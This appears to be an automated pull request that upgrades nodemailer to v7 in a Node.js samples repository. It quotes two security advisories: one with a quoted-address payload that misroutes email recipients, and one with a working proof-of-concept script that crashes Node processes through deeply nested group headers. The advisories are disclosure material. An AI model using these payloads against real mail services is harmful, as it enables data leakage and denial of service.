nodejs-docs-samples fix(deps): update dependency nodemailer to v7 [security]

This PR contains the following updates:

Package	Change	Age	Confidence
nodemailer (source)	`^6.0.0` -> `^7.0.11`

GitHub Vulnerability Alerts

CVE-2025-13033

The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "[email protected] x"@internal.domain Using the following code to send mail

const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
  service: "gmail",
  auth: {
    user: "",
    pass: "",
  },
});

let mailOptions = {
  from: '"Test Sender" <[email protected]>', 
  to: "\"[email protected] x\"@&#8203;internal.domain",
  subject: "Hello from Nodemailer",
  text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};

transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
    return console.log("Error: ", error);
  }
  console.log("Message sent: %s", info.messageId);

});

(async () => {
  const parser = await import("@&#8203;sparser/email-address-parser");
  const { EmailAddress, ParsingOptions } = parser.default;
  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

  if (!parsed) {
    console.error("Invalid email address:", mailOptions.to);
    return;
  }

  console.log("Parsed email:", {
    address: `${parsed.localPart}@&#8203;${parsed.domain}`,
    local: parsed.localPart,
    domain: parsed.domain,
  });
})();

Running the script and seeing how this mail is parsed according to RFC

Parsed email: {
  address: '"[email protected] x"@&#8203;internal.domain',
  local: '"[email protected] x"',
  domain: 'internal.domain'
}

But the email is sent to [email protected]

Impact:

Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.
Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.
Potential compliance issue: Violates RFC 5321/5322 parsing rules.
Domain based access control bypass in downstream applications using your library to send mails

Recommendations

Fix parser to correctly treat quoted local-parts per RFC 5321/5322.
Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.

GHSA-rcmh-qjqh-p98v

Summary

A DoS can occur that immediately halts the system due to the use of an unsafe function.

Details

According to RFC 5322, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list. However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS

RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group. At the following location in lib/addressparser/index.js:

https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90

there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:

g0: g1: g2: g3: ... gN: [email protected];

Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern addressparser → _handleAddress → addressparser → ... for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.

The problematic code section is as follows:

if (isGroup) {
    ...
    if (data.group.length) {
        let parsedGroup = addressparser(data.group.join(',')); // <- boom!
        parsedGroup.forEach(member => {
            if (member.group) {
                groupMembers = groupMembers.concat(member.group);
            } else {
                groupMembers.push(member);
            }
        });
    }
}

data.group is expected to contain members separated by commas, but in the attacker’s payload the group contains colon (:) tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.

PoC

const nodemailer = require('nodemailer');

function buildDeepGroup(depth) {
  let parts = [];
  for (let i = 0; i < depth; i++) {
    parts.push(`g${i}:`);
  }
  return parts.join(' ') + ' [email protected];';
}

const DEPTH = 3000; // <- control depth 
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);

const transporter = nodemailer.createTransport({
  streamTransport: true,
  buffer: true,
  newline: 'unix'
});

console.log('parsing start');

transporter.sendMail(
  {
    from: '[email protected]',
    to: toHeader,
    subject: 'test',
    text: 'test'
  },
  (err, info) => {
    if (err) {
      console.error('error:', err);
    } else {
      console.log('finished :', info && info.envelope);
    }
  }
);

As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.

Impact

The attacker can achieve the following:

Force an immediate crash of any server/service that uses Nodemailer
Kill the backend process with a single web request
In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”

Release Notes

nodemailer/nodemailer (nodemailer)

Feature	Command	Description
Code Review	`/gemini review`	Performs a code review for the current pull request in its current state.
Pull Request Summary	`/gemini summary`	Provides a summary of the current pull request in its current state.
Comment	@gemini-code-assist	Responds in comments when explicitly tagged, both in pull request comments and review comments.
Help	`/gemini help`	Displays a list of available commands.

fix(deps): update dependency nodemailer to v7 [security]

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